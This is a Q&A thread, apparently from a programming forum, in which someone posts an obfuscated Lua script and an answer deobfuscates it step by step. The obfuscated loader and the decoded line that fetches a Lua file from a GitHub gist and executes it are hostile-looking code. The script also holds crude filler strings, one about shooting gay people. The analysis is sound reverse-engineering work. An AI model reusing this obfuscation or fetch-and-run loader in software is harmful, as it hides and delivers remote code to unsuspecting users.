How can I decrypt this new Lua encryption method?
key=[[BREW STORE]];dmnpxzbtpptkabbbstzuaaiyxqbgfszjdhxuxcztvmrghjbawfatwzqandrzrfqlragsyqggkpbvtqktxbckpewunqnfosobaogiitkfsbzuihgljnzslgtmjmgkdasx='om jangan decrypt aku :((';awzmplriqloyociafdhovyenmbcbhqmyegwedddczphgbvubquftewkdqtypcsxmsxihkcwajhqqwidoleeudnahsscjbmlkaocozlvxsbnjbyphljxkcavllyevkhii='Obfuscator Ini Milik ZiGB';jknofzqxfwhpgpwunwnntdqilsqedpbwajyxnzgqchnbspvvehqoyvqdsavrovwklpgfbzpyiorpggadtdjbworigkbdnkbsspfsobalqavigtcfwehcreyeftezpkdi='Kamu Nyari Load?';rzoekzjkzzarhiovruxttaybxqpnhiobpvhbcywmhqlcfoltkbktsjwkldwgobariqrhmimxrmmlbrwhpvurflbcgjonrjvfuappyjeqpmdjghdviciyqkrfpnburddu='Saya Tak Ragu Ingin Nembak Gay People';yazmbcaksoywojorasrbfjqppsgyjdqlzwulsjbfyjxnvxebwmmdxqwkqmhepswuioueybvygkqgijdkrfwmlswajeadgafqggjcdafxxqfgvcmcuennmaesreozhlbn="Soeharto is first indonesian president. Jokowi is seventh indonesian's president, Itadori Yuuji is one of main character in Jujutsu Kaisen Anime, Kento Nanami is Side Character On Jujutsu Kaisen Anime. Lava is 1 of the most dangerous liquid in the world (cap)";mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju={ 1,160,3,187,236,277,257,244,160,185,307,173,170,186,170,164,168,168,280,246,160,160,160,160,160,160,160,160,160,160,160,200,279,224,161,392,224,227,218,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,271,258,262,277,275,259,257,276,261,260,252,261,270,259,206,268,277,257,293,296,160,160,215,161,337,171,160,160,160,299,160,160,161,171,161,160,162,174,161,162,163,299,161,160,164,302,161,163,165,179,162,160,320,242,160,160,160,289,290,213,288,161,163,215,288,289,163,208,288,161,292,209,288,289,292,179,288,161,293,216,288,289,165,210,288,161,166,216,288,289,166,218,288,161,167,210,288,289,167,217,288,161,296,217,288,289,296,175,288,161,297,179,288,289,297,176,288,161,170,195,288,289,170,194,288,161,299,201,288,289,299,176,288,161,300,181,288,289,300,175,288,161,301,176,288,289,301,211,288,161,302,217,288,289,302,217,288,161,303,215,288,289,175,217,288,161,304,188,288,289,176,183,288,161,177,183,288,289,177,211,288,161,178,212,288,289,178,217,288,161,307,217,288,289,307,182,288,161,180,211,288,289,180,212,288,161,309,217,288,289,309,211,288,161,182,218,288,289,310,208,288,161,183,218,288,289,183,217,288,161,184,210,288,289,312,216,288,161,185,209,288,289,185,215,288,161,314,214,288,289,314,217,288,161,187,210,288,238,162,210,160,289,290,214,288,161,291,217,288,289,291,182,288,161,164,209,288,289,164,215,288,161,165,214,288,289,165,183,288,161,294,208,288,289,294,216,288,161,167,210,288,289,167,219,288,161,296,209,288,289,168,210,288,161,297,216,288,289,169,217,288,161,170,183,288,289,170,210,288,161,171,188,288,289,171,209,288,161,300,186,288,289,172,208,288,161,301,209,288,289,301,187,288,161,302,186,288,289,174,208,288,161,303,209,288,289,175,184,288,161,304,185,288,289,304,187,288,161,177,208,288,289,177,185,288,161,306,208,288,289,178,210,288,161,307,186,288,289,179,188,288,161,180,208,288,289,180,208,288,161,309,208,288,289,181,184,288,161,310,210,288,289,182,185,288,161,311,209,288,289,183,186,288,161,184,210,288,289,184,208,288,161,185,210,288,289,185,209,288,161,186,188,288,289,186,183,288,161,315,216,288,238,162,210,210,289,162,208,288,161,163,219,288,289,163,183,288,161,164,210,288,289,292,184,288,161,293,183,288,289,165,184,288,161,294,185,288,289,294,187,288,161,295,186,288,289,295,187,288,161,168,187,288,289,168,186,288,161,169,185,288,289,297,185,288,161,170,186,288,289,298,209,288,161,171,185,288,289,299,185,288,161,172,186,288,289,300,186,288,161,301,185,288,289,301,184,288,161,302,210,288,289,174,185,288,161,303,185,288,289,175,186,288,161,304,209,288,289,176,187,288,161,305,184,288,289,177,209,288,161,306,210,288,289,306,184,288,161,307,185,288,289,307,185,288,161,308,187,288,289,308,183,288,161,309,184,288,289,181,188,288,161,310,185,288,289,182,187,288,161,311,184,288,289,183,185,288,161,184,183,288,289,312,193,288,161,313,194,288,289,313,208,288,161,314,216,288,289,186,210,288,161,187,219,288,238,162,210,260,289,290,182,288,161,291,213,288,289,163,218,288,161,164,208,288,289,292,176,288,161,165,180,288,289,165,180,288,161,294,175,288,289,294,179,288,161,167,180,288,238,162,170,310,356,161,162,160,228,161,160,160,356,160,160,160,228,160,160,161,231,160,161,160,294,164,294,272,259,257,268,268,164,293,268,271,257,260,164,295,275,276,274,265,270,263,164,293,259,264,257,274,164,294,276,257,258,268,261,164,295,277,270,272,257,259,267,289,160,160,160,288,161,337,162,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,288,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,161,289,409,295,288,289,293,255,229,238,246};local nau = 'load'; function krcqzqcsngsbnxfkqsexgiuiqovaprtpzaheaskjzihhbncooqhmmlelpomnwnisnezltuxbtjyxjyoxizmjsgskspqfmzbtiyhiycxvrhgocdbhopcpekzxeyhjezko(...) local nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm='';for hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb=1, #mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju do if hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb>3 then nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm=nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm.._ENV['\115\116\114\105\110\103']['\99\104\97\114']((mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju[hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb]-mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju[2]));end end;local tolan = 'loadstring';_ENV[_ENV['\115\116\114\105\110\103']['\99\104\97\114'](awzmplriqloyociafdhovyenmbcbhqmyegwedddczphgbvubquftewkdqtypcsxmsxihkcwajhqqwidoleeudnahsscjbmlkaocozlvxsbnjbyphljxkcavllyevkhii:lower():sub(18,18):byte(),dmnpxzbtpptkabbbstzuaaiyxqbgfszjdhxuxcztvmrghjbawfatwzqandrzrfqlragsyqggkpbvtqktxbckpewunqnfosobaogiitkfsbzuihgljnzslgtmjmgkdasx:lower():sub(1,1):byte(),rzoekzjkzzarhiovruxttaybxqpnhiobpvhbcywmhqlcfoltkbktsjwkldwgobariqrhmimxrmmlbrwhpvurflbcgjonrjvfuappyjeqpmdjghdviciyqkrfpnburddu:lower():sub(-9,-9):byte(),yazmbcaksoywojorasrbfjqppsgyjdqlzwulsjbfyjxnvxebwmmdxqwkqmhepswuioueybvygkqgijdkrfwmlswajeadgafqggjcdafxxqfgvcmcuennmaesreozhlbn:lower():sub(21,21):byte())](nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm)(); end;krcqzqcsngsbnxfkqsexgiuiqovaprtpzaheaskjzihhbncooqhmmlelpomnwnisnezltuxbtjyxjyoxizmjsgskspqfmzbtiyhiycxvrhgocdbhopcpekzxeyhjezko(mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju);
I tried many methods. But I don't think I'm experienced enough. The result was negative.
'\115\116\114\105\110\103' into 'string'_ENV[_ENV[ ends up becoming just load (by the way, nau and tolan are unused decoys)loads the resultIf you're following along, you'll have gotten this out of unluac (newlines elided for brevity):
pcall(load(string.char(table.unpack({ 108, 111, 97, 100, 40, 114, 101, 113, 117, 101, 115, 116, 32, 40, 34, 71, 69, 84, 34, 44, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 115, 116, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 98, 114, 101, 119, 100, 101, 114, 115, 47, 101, 57, 99, 54, 97, 100, 56, 54, 97, 100, 49, 52, 56, 97, 51, 98, 101, 54, 57, 97, 97, 98, 49, 102, 51, 100, 53, 101, 97, 101, 99, 57, 47, 114, 97, 119, 47, 101, 50, 48, 49, 52, 56, 54, 56, 55, 53, 51, 52, 53, 100, 51, 52, 53, 54, 52, 50, 102, 51, 52, 53, 100, 55, 50, 99, 102, 50, 52, 52, 56, 48, 50, 57, 52, 55, 50, 51, 47, 68, 70, 98, 114, 101, 119, 46, 108, 117, 97, 34, 41, 41, 32, 40, 41}))))
Now reverse the string.char and table.unpack to see what it's really doing:
load(request ("GET", "https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua")) ()
So https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua (prettier at https://gist.github.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9#file-dfbrew-lua) has what it's really doing, and it's finally not obfuscated at all. (The sha256 was 7de86710d2e66b6ef3b7e1a772d8d80c550b7a309925320e3296ffd333988e6d at the time of writing this answer; some archives/mirrors: 1 2 3 4)
And if you're wondering how this obfuscation happened, this string is present in the bytecode, which should give you a hint: C:\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\obfuscated\enc.lua